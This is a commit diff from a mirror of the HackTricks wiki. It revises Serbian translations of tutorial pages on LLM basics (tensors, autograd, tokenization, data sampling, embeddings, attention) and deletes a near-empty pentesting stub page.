mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
parent
b7d2abf154
commit
9c0599f08f
@ -1,29 +0,0 @@
|
||||
# 1911 - Pentesting fox
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
I više usluga:
|
||||
|
||||
ubiquiti-discover udp "Ubiquiti Networks Device"
|
||||
|
||||
dht udp "DHT Nodes"
|
||||
|
||||
5060 udp sip "SIP/"
|
||||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,3 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,20 +1,22 @@
|
||||
# 0. Osnovni LLM koncepti
|
||||
|
||||
## Pretreniranje
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznolikim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj pretrenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili oblasti, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
|
||||
## Predtreniranje
|
||||
|
||||
Predtreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznolikim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Obradom ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj predtrenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili oblasti, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
|
||||
|
||||
## Glavne komponente LLM-a
|
||||
|
||||
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo obučavanje. Ovo su uobičajene komponente prilikom obučavanja LLM-a:
|
||||
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo treniranje. Ovo su uobičajene komponente prilikom treniranja LLM-a:
|
||||
|
||||
- **Parametri**: Parametri su **učljive težine i pristrasnosti** u neuronskoj mreži. To su brojevi koje proces obuke prilagođava kako bi minimizirao funkciju gubitka i poboljšao performanse modela na zadatku. LLM-ovi obično koriste milione parametara.
|
||||
- **Dužina konteksta**: Ovo je maksimalna dužina svake rečenice koja se koristi za pretreniranje LLM-a.
|
||||
- **Dužina konteksta**: Ovo je maksimalna dužina svake rečenice koja se koristi za predtreniranje LLM-a.
|
||||
- **Dimenzija ugradnje**: Veličina vektora koji se koristi za predstavljanje svake oznake ili reči. LLM-ovi obično koriste milijarde dimenzija.
|
||||
- **Skrivena dimenzija**: Veličina skrivenih slojeva u neuronskoj mreži.
|
||||
- **Broj slojeva (Dubina)**: Koliko slojeva model ima. LLM-ovi obično koriste desetine slojeva.
|
||||
- **Broj mehanizama pažnje**: U transformator modelima, ovo je koliko odvojenih mehanizama pažnje se koristi u svakom sloju. LLM-ovi obično koriste desetine mehanizama.
|
||||
- **Dropout**: Dropout je nešto poput procenta podataka koji se uklanjaju (verovatnoće se pretvaraju u 0) tokom obuke korišćenog za **sprečavanje prekomernog prilagođavanja.** LLM-ovi obično koriste između 0-20%.
|
||||
- **Dropout**: Dropout je nešto poput procenta podataka koji se uklanjaju (verovatnoće se pretvaraju u 0) tokom obuke korišćene za **sprečavanje prekomernog prilagođavanja.** LLM-ovi obično koriste između 0-20%.
|
||||
|
||||
Konfiguracija GPT-2 modela:
|
||||
```json
|
||||
@ -37,7 +39,7 @@ U PyTorch-u, **tenzor** je osnovna struktura podataka koja služi kao višedimen
|
||||
- **Skalari**: Tenzori ranga 0, koji predstavljaju jedan broj (nulti-dimenzionalni). Kao: 5
|
||||
- **Vektori**: Tenzori ranga 1, koji predstavljaju jednodimenzionalni niz brojeva. Kao: \[5,1]
|
||||
- **Matrice**: Tenzori ranga 2, koji predstavljaju dvodimenzionalne nizove sa redovima i kolonama. Kao: \[\[1,3], \[5,2]]
|
||||
- **Tenzori višeg ranga**: Tenzori ranga 3 ili više, koji predstavljaju podatke u višim dimenzijama (npr. 3D tenzori za kolor slike).
|
||||
- **Tenzori višeg ranga**: Tenzori ranga 3 ili više, koji predstavljaju podatke u višim dimenzijama (npr. 3D tenzori za slike u boji).
|
||||
|
||||
### Tenzori kao kontejneri podataka
|
||||
|
||||
@ -48,7 +50,7 @@ Iz računarske perspektive, tenzori deluju kao kontejneri za višedimenzionalne
|
||||
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
|
||||
|
||||
- **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
|
||||
- **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
||||
- **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti na i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
||||
|
||||
### Kreiranje tenzora u PyTorch-u
|
||||
|
||||
@ -125,21 +127,21 @@ Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
|
||||
|
||||
## Automatska Diferencijacija
|
||||
|
||||
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **efikasno i tačno procenjivanje derivata (gradijenata)** funkcija. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **optimizacione algoritme poput gradijentnog spuštanja**. PyTorch pruža motor automatske diferencijacije pod nazivom **autograd** koji pojednostavljuje ovaj proces.
|
||||
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **efikasno i tačno izračunavanje derivata (gradijenata)** funkcija. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **algoritme optimizacije poput gradijentnog spuštanja**. PyTorch pruža motor automatske diferencijacije pod nazivom **autograd** koji pojednostavljuje ovaj proces.
|
||||
|
||||
### Matematičko Objašnjenje Automatske Diferencijacije
|
||||
|
||||
**1. Pravilo Lanca**
|
||||
**1. Lančana Pravila**
|
||||
|
||||
U srži automatske diferencijacije je **pravilo lanca** iz kalkulusa. Pravilo lanca kaže da ako imate kompoziciju funkcija, derivat kompozitne funkcije je proizvod derivata sastavljenih funkcija.
|
||||
U srži automatske diferencijacije je **lančana pravila** iz kalkulusa. Lančana pravila kaže da, ako imate kompoziciju funkcija, derivat kompozitne funkcije je proizvod derivata sastavljenih funkcija.
|
||||
|
||||
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Računarska Grafika**
|
||||
**2. Računarska Graf**
|
||||
|
||||
U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde svaki čvor odgovara operaciji ili varijabli. Prolaskom kroz ovu grafiku, možemo efikasno izračunati derivate.
|
||||
U AD, proračuni su predstavljeni kao čvorovi u **računarskom grafu**, gde svaki čvor odgovara operaciji ili varijabli. Prelazeći ovaj graf, možemo efikasno izračunati derivate.
|
||||
|
||||
3. Primer
|
||||
|
||||
@ -283,3 +285,5 @@ Tokom backward pass:
|
||||
- **Efikasnost:** Izbegava suvišne proračune ponovnim korišćenjem međurezultata.
|
||||
- **Tačnost:** Pruža tačne derivacije do mašinske preciznosti.
|
||||
- **Jednostavnost korišćenja:** Eliminira ručno izračunavanje derivacija.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 1. Tokenizacija
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenizacija
|
||||
|
||||
**Tokenizacija** je proces razbijanja podataka, kao što je tekst, na manje, upravljive delove nazvane _tokeni_. Svakom tokenu se zatim dodeljuje jedinstveni numerički identifikator (ID). Ovo je osnovni korak u pripremi teksta za obradu od strane modela mašinskog učenja, posebno u obradi prirodnog jezika (NLP).
|
||||
**Tokenizacija** je proces razbijanja podataka, kao što je tekst, na manje, upravljive delove nazvane _tokeni_. Svakom tokenu se dodeljuje jedinstveni numerički identifikator (ID). Ovo je osnovni korak u pripremi teksta za obradu od strane modela mašinskog učenja, posebno u obradi prirodnog jezika (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove inicijalne faze je vrlo jednostavan: **Podelite ulaz u tokene (ids) na način koji ima smisla**.
|
||||
@ -10,13 +12,13 @@
|
||||
### **Kako funkcioniše tokenizacija**
|
||||
|
||||
1. **Deljenje teksta:**
|
||||
- **Osnovni tokenizator:** Jednostavan tokenizator može podeliti tekst na pojedinačne reči i interpunkcijske znakove, uklanjajući razmake.
|
||||
- **Osnovni tokenizator:** Jednostavan tokenizator može deliti tekst na pojedinačne reči i interpunkcijske znakove, uklanjajući razmake.
|
||||
- _Primer:_\
|
||||
Tekst: `"Hello, world!"`\
|
||||
Tokeni: `["Hello", ",", "world", "!"]`
|
||||
2. **Kreiranje rečnika:**
|
||||
- Da bi se tokeni pretvorili u numeričke ID-ove, kreira se **rečnik**. Ovaj rečnik sadrži sve jedinstvene tokene (reči i simbole) i dodeljuje svakom specifičan ID.
|
||||
- **Specijalni tokeni:** Ovo su posebni simboli dodati rečniku za upravljanje raznim scenarijima:
|
||||
- **Specijalni tokeni:** Ovo su posebni simboli dodati rečniku za upravljanje različitim scenarijima:
|
||||
- `[BOS]` (Početak sekvence): Označava početak teksta.
|
||||
- `[EOS]` (Kraj sekvence): Označava kraj teksta.
|
||||
- `[PAD]` (Puneći): Koristi se da sve sekvence u grupi budu iste dužine.
|
||||
@ -25,7 +27,7 @@ Tokeni: `["Hello", ",", "world", "!"]`
|
||||
Ako je `"Hello"` dodeljen ID `64`, `","` je `455`, `"world"` je `78`, a `"!"` je `467`, tada:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Upravljanje nepoznatim rečima:**\
|
||||
Ako reč poput `"Bye"` nije u rečniku, zamenjuje se sa `[UNK]`.\
|
||||
Ako reč kao što je `"Bye"` nije u rečniku, zamenjuje se sa `[UNK]`.\
|
||||
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Pretpostavljajući da `[UNK]` ima ID `987`)_
|
||||
|
||||
@ -34,7 +36,7 @@ _(Pretpostavljajući da `[UNK]` ima ID `987`)_
|
||||
Dok osnovni tokenizator dobro funkcioniše za jednostavne tekstove, ima ograničenja, posebno sa velikim rečnicima i upravljanjem novim ili retkim rečima. Napredne metode tokenizacije rešavaju ove probleme razbijanjem teksta na manje podjedinice ili optimizovanjem procesa tokenizacije.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Svrha:** Smanjuje veličinu rečnika i upravlja retkim ili nepoznatim rečima razbijajući ih na često javljene parove bajtova.
|
||||
- **Svrha:** Smanjuje veličinu rečnika i upravlja retkim ili nepoznatim rečima razbijajući ih na često korišćene parove bajtova.
|
||||
- **Kako funkcioniše:**
|
||||
- Počinje sa pojedinačnim karakterima kao tokenima.
|
||||
- Iterativno spaja najčešće parove tokena u jedan token.
|
||||
@ -61,10 +63,10 @@ Dok osnovni tokenizator dobro funkcioniše za jednostavne tekstove, ima ogranič
|
||||
- **Svrha:** Koristi probabilistički model da odredi najverovatniji skup podrečnih tokena.
|
||||
- **Kako funkcioniše:**
|
||||
- Počinje sa velikim skupom potencijalnih tokena.
|
||||
- Iterativno uklanja tokene koji najmanje poboljšavaju verovatnoću modela za obuku.
|
||||
- Iterativno uklanja tokene koji najmanje poboljšavaju verovatnoću modela za obučene podatke.
|
||||
- Finalizuje rečnik gde je svaka reč predstavljena najverovatnijim podrečnim jedinicama.
|
||||
- **Prednosti:**
|
||||
- Fleksibilan i može modelovati jezik prirodnije.
|
||||
- Fleksibilan i može prirodnije modelovati jezik.
|
||||
- Često rezultira efikasnijim i kompaktnijim tokenizacijama.
|
||||
- _Primer:_\
|
||||
`"internationalization"` može biti tokenizovan u manje, smislene podrečne reči kao što su `["international", "ization"]`.
|
||||
@ -90,6 +92,9 @@ token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"})
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,28 +1,30 @@
|
||||
# 2. Uzimanje podataka
|
||||
# 2. Uzorkovanje Podataka
|
||||
|
||||
## **Uzimanje podataka**
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
**Uzimanje podataka** je ključni proces u pripremi podataka za obuku velikih jezičkih modela (LLM) poput GPT-a. Uključuje organizovanje tekstualnih podataka u ulazne i ciljne sekvence koje model koristi da nauči kako da predviđa sledeću reč (ili token) na osnovu prethodnih reči. Pravilno uzimanje podataka osigurava da model efikasno hvata jezičke obrasce i zavisnosti.
|
||||
## **Uzorkovanje Podataka**
|
||||
|
||||
**Uzorkovanje Podataka** je ključni proces u pripremi podataka za obuku velikih jezičkih modela (LLM) poput GPT-a. Uključuje organizovanje tekstualnih podataka u ulazne i ciljne sekvence koje model koristi da nauči kako da predviđa sledeću reč (ili token) na osnovu prethodnih reči. Pravilno uzorkovanje podataka osigurava da model efikasno hvata jezičke obrasce i zavisnosti.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove druge faze je vrlo jednostavan: **Uzmite ulazne podatke i pripremite ih za fazu obuke obično razdvajanjem skupa podataka na rečenice određene dužine i generisanjem očekivanog odgovora.**
|
||||
> Cilj ove druge faze je vrlo jednostavan: **Uzorkujte ulazne podatke i pripremite ih za fazu obuke obično razdvajanjem skupa podataka na rečenice određene dužine i generisanjem očekivanog odgovora.**
|
||||
|
||||
### **Zašto je uzimanje podataka važno**
|
||||
### **Zašto je Uzorkovanje Podataka Važno**
|
||||
|
||||
LLM-ovi kao što je GPT obučeni su da generišu ili predviđaju tekst razumevanjem konteksta koji pružaju prethodne reči. Da bi se to postiglo, obučeni podaci moraju biti strukturirani na način da model može naučiti odnos između sekvenci reči i njihovih sledećih reči. Ovaj strukturirani pristup omogućava modelu da generalizuje i generiše koherentan i kontekstualno relevantan tekst.
|
||||
|
||||
### **Ključni koncepti u uzimanju podataka**
|
||||
### **Ključni Koncepti u Uzorkovanju Podataka**
|
||||
|
||||
1. **Tokenizacija:** Razbijanje teksta na manje jedinice nazvane tokeni (npr. reči, podreči ili karakteri).
|
||||
2. **Dužina sekvence (max_length):** Broj tokena u svakoj ulaznoj sekvenci.
|
||||
3. **Klizni prozor:** Metod za kreiranje preklapajućih ulaznih sekvenci pomeranjem prozora preko tokenizovanog teksta.
|
||||
2. **Dužina Sekvence (max_length):** Broj tokena u svakoj ulaznoj sekvenci.
|
||||
3. **Klizni Prozor:** Metod za kreiranje preklapajućih ulaznih sekvenci pomeranjem prozora preko tokenizovanog teksta.
|
||||
4. **Korak:** Broj tokena koje klizni prozor pomera unapred da bi kreirao sledeću sekvencu.
|
||||
|
||||
### **Primer korak po korak**
|
||||
### **Primer Korak po Korak**
|
||||
|
||||
Hajde da prođemo kroz primer kako bismo ilustrovali uzimanje podataka.
|
||||
Hajde da prođemo kroz primer kako bismo ilustrovali uzorkovanje podataka.
|
||||
|
||||
**Primer teksta**
|
||||
**Primer Teksta**
|
||||
```arduino
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
|
||||
```
|
||||
@ -83,9 +85,9 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
|
||||
|
||||
**Razumevanje koraka**
|
||||
|
||||
- **Korak od 1:** Prozor se pomera napred za jedan token svaki put, što rezultira visoko preklapajućim sekvencama. To može dovesti do boljeg učenja kontekstualnih odnosa, ali može povećati rizik od prekomernog prilagođavanja jer se slične tačke podataka ponavljaju.
|
||||
- **Korak od 2:** Prozor se pomera napred za dva tokena svaki put, smanjujući preklapanje. To smanjuje redundanciju i računarsko opterećenje, ali može propustiti neke kontekstualne nijanse.
|
||||
- **Korak jednak max_length:** Prozor se pomera napred za celu veličinu prozora, što rezultira nepreklapajućim sekvencama. To minimizira redundanciju podataka, ali može ograničiti sposobnost modela da uči zavisnosti između sekvenci.
|
||||
- **Korak od 1:** Prozor se pomera napred za jedan token svaki put, što rezultira visokom preklapanju sekvenci. To može dovesti do boljeg učenja kontekstualnih odnosa, ali može povećati rizik od prekomernog prilagođavanja jer se slične tačke podataka ponavljaju.
|
||||
- **Korak od 2:** Prozor se pomera napred za dva tokena svaki put, smanjujući preklapanje. Ovo smanjuje redundanciju i računarsko opterećenje, ali može propustiti neke kontekstualne nijanse.
|
||||
- **Korak jednak max_length:** Prozor se pomera napred za celu veličinu prozora, rezultirajući u nepreklapajućim sekvencama. Ovo minimizira redundanciju podataka, ali može ograničiti sposobnost modela da uči zavisnosti između sekvenci.
|
||||
|
||||
**Primer sa korakom od 2:**
|
||||
|
||||
@ -228,6 +230,9 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 3285, 326, 11, 287]])
|
||||
]
|
||||
```
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,13 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Nakon tokenizacije tekstualnih podataka, sledeći kritični korak u pripremi podataka za obuku velikih jezičkih modela (LLMs) poput GPT-a je kreiranje **token embeddings**. Token embeddings transformišu diskretne tokene (kao što su reči ili podreči) u kontinuirane numeričke vektore koje model može obraditi i iz kojih može učiti. Ovo objašnjenje razlaže token embeddings, njihovu inicijalizaciju, upotrebu i ulogu pozicionih embeddings u poboljšanju razumevanja modela o sekvencama tokena.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove treće faze je vrlo jednostavan: **Dodeliti svakom od prethodnih tokena u rečniku vektor željenih dimenzija za obuku modela.** Svaka reč u rečniku će imati tačku u prostoru X dimenzija.\
|
||||
> Cilj ove treće faze je vrlo jednostavan: **Dodeliti svaki od prethodnih tokena u rečniku vektor željenih dimenzija za obuku modela.** Svaka reč u rečniku će imati tačku u prostoru X dimenzija.\
|
||||
> Imajte na umu da je inicijalno pozicija svake reči u prostoru "slučajno" inicijalizovana i te pozicije su parametri koji se mogu obučavati (biće poboljšani tokom obuke).
|
||||
>
|
||||
> Štaviše, tokom token embedding **stvara se još jedan sloj embeddings** koji predstavlja (u ovom slučaju) **apsolutnu poziciju reči u rečenici za obuku**. Na ovaj način, reč na različitim pozicijama u rečenici će imati različitu reprezentaciju (značenje).
|
||||
@ -68,21 +70,21 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
**Interpretacija:**
|
||||
|
||||
- Token na indeksu `3` je predstavljen vektorom `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Ove vrednosti su parametri koji se mogu trenirati i koje će model prilagoditi tokom obuke kako bi bolje predstavio kontekst i značenje tokena.
|
||||
- Ove vrednosti su parametri koji se mogu obučavati i koje će model prilagoditi tokom obuke kako bi bolje predstavio kontekst i značenje tokena.
|
||||
|
||||
### **Kako Token Embedding funkcionišu tokom obuke**
|
||||
### **Kako Token Embeddings Funkcionišu Tokom Obuke**
|
||||
|
||||
Tokom obuke, svaki token u ulaznim podacima se konvertuje u svoj odgovarajući embedding vektor. Ovi vektori se zatim koriste u raznim proračunima unutar modela, kao što su mehanizmi pažnje i slojevi neuronskih mreža.
|
||||
|
||||
**Primer Scenarija:**
|
||||
|
||||
- **Veličina serije:** 8 (broj uzoraka obrađenih simultano)
|
||||
- **Maksimalna dužina sekvence:** 4 (broj tokena po uzorku)
|
||||
- **Dimenzije embedding-a:** 256
|
||||
- **Batch Veličina:** 8 (broj uzoraka obrađenih istovremeno)
|
||||
- **Maksimalna Dužina Sekvence:** 4 (broj tokena po uzorku)
|
||||
- **Dimenzije Embedding-a:** 256
|
||||
|
||||
**Struktura podataka:**
|
||||
**Struktura Podataka:**
|
||||
|
||||
- Svaka serija je predstavljena kao 3D tenzor sa oblikom `(batch_size, max_length, embedding_dim)`.
|
||||
- Svaki batch je predstavljen kao 3D tenzor sa oblikom `(batch_size, max_length, embedding_dim)`.
|
||||
- Za naš primer, oblik bi bio `(8, 4, 256)`.
|
||||
|
||||
**Vizualizacija:**
|
||||
@ -148,7 +150,7 @@ Dok ugradnje tokova hvataju značenje pojedinačnih tokena, one inherentno ne ko
|
||||
|
||||
**Primer dodavanja pozicijskih ugradnji:**
|
||||
|
||||
Pretpostavimo da je vektor ugradnje tokena `[0.5, -0.2, 0.1]` i njegov vektor pozicijske ugradnje je `[0.1, 0.3, -0.1]`. Kombinovana ugradnja koju koristi model bi bila:
|
||||
Pretpostavimo da je vektor ugradnje tokena `[0.5, -0.2, 0.1]` i da je njegov pozicijski vektor ugradnje `[0.1, 0.3, -0.1]`. Kombinovana ugradnja koju koristi model bi bila:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,16 +1,18 @@
|
||||
# 4. Mehanizmi pažnje
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Mehanizmi pažnje i samopažnja u neuronskim mrežama
|
||||
|
||||
Mehanizmi pažnje omogućavaju neuronskim mrežama da **fokusiraju na specifične delove ulaza prilikom generisanja svakog dela izlaza**. Dodeljuju različite težine različitim ulazima, pomažući modelu da odluči koji su ulazi najrelevantniji za zadatak. Ovo je ključno u zadacima poput mašinskog prevođenja, gde je razumevanje konteksta cele rečenice neophodno za tačan prevod.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove četvrte faze je vrlo jednostavan: **Primeni neke mehanizme pažnje**. Ovi mehanizmi će biti mnogo **ponovljenih slojeva** koji će **uhvatiti odnos reči u rečniku sa njenim susedima u trenutnoj rečenici koja se koristi za obuku LLM-a**.\
|
||||
> Cilj ove četvrte faze je vrlo jednostavan: **Primeni neke mehanizme pažnje**. Ovo će biti mnogo **ponovljenih slojeva** koji će **uhvatiti odnos reči u rečniku sa njenim susedima u trenutnoj rečenici koja se koristi za obuku LLM-a**.\
|
||||
> Za ovo se koristi mnogo slojeva, tako da će mnogo parametara za obuku hvatati ove informacije.
|
||||
|
||||
### Razumevanje mehanizama pažnje
|
||||
|
||||
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u kontekstni vektor fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni kontekstni vektor možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokene.
|
||||
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektorski kontekst fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektorski kontekst možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
||||
|
||||
#### Primer: Mašinsko prevođenje
|
||||
|
||||
@ -34,7 +36,7 @@ Razmotrimo rečenicu **"Hello shiny sun!"** i predstavimo svaku reč sa 3-dimenz
|
||||
- **shiny**: `[0.53, 0.34, 0.98]`
|
||||
- **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Naš cilj je da izračunamo **kontekstni vektor** za reč **"shiny"** koristeći samopažnju.
|
||||
Naš cilj je da izračunamo **vektor konteksta** za reč **"shiny"** koristeći samopažnju.
|
||||
|
||||
#### Korak 1: Izračunavanje rezultata pažnje
|
||||
|
||||
@ -58,7 +60,7 @@ Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny"
|
||||
#### Korak 2: Normalizacija rezultata pažnje da bi se dobile težine pažnje
|
||||
|
||||
> [!TIP]
|
||||
> Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno sumiraju 1**.
|
||||
> Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **ukupno budu 1**.
|
||||
>
|
||||
> Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući otkrivanje korisnih vrednosti.
|
||||
|
||||
@ -68,7 +70,7 @@ Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine p
|
||||
|
||||
Izračunavanje eksponencijala:
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Izračunavanje sume:
|
||||
|
||||
@ -78,12 +80,12 @@ Izračunavanje težina pažnje:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Korak 3: Izračunavanje kontekstnog vektora
|
||||
#### Korak 3: Izračunavanje vektora konteksta
|
||||
|
||||
> [!TIP]
|
||||
> Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama relevantnog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (kontekstni vektor)
|
||||
> Samo uzmite svaku težinu pažnje i pomnožite je sa dimenzijama relevantnog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta)
|
||||
|
||||
**Kontekstni vektor** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
||||
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
||||
|
||||
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
@ -103,15 +105,15 @@ Izračunavanje svake komponente:
|
||||
|
||||
Saberanje ponderisanih umetanja:
|
||||
|
||||
`kontekstni vektor=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
`vektor konteksta=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Ovaj kontekstni vektor predstavlja obogaćeno umetanje za reč "shiny", uključujući informacije iz svih reči u rečenici.**
|
||||
**Ovaj vektor konteksta predstavlja obogaćeno umetanje za reč "shiny", uključujući informacije iz svih reči u rečenici.**
|
||||
|
||||
### Sažetak procesa
|
||||
|
||||
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
||||
2. **Normalizujte rezultate da dobijete težine pažnje**: Primeni softmax funkciju na rezultate pažnje da dobijete težine koje se sabiraju na 1.
|
||||
3. **Izračunajte kontekstni vektor**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
||||
1. **Izračunavanje rezultata pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
||||
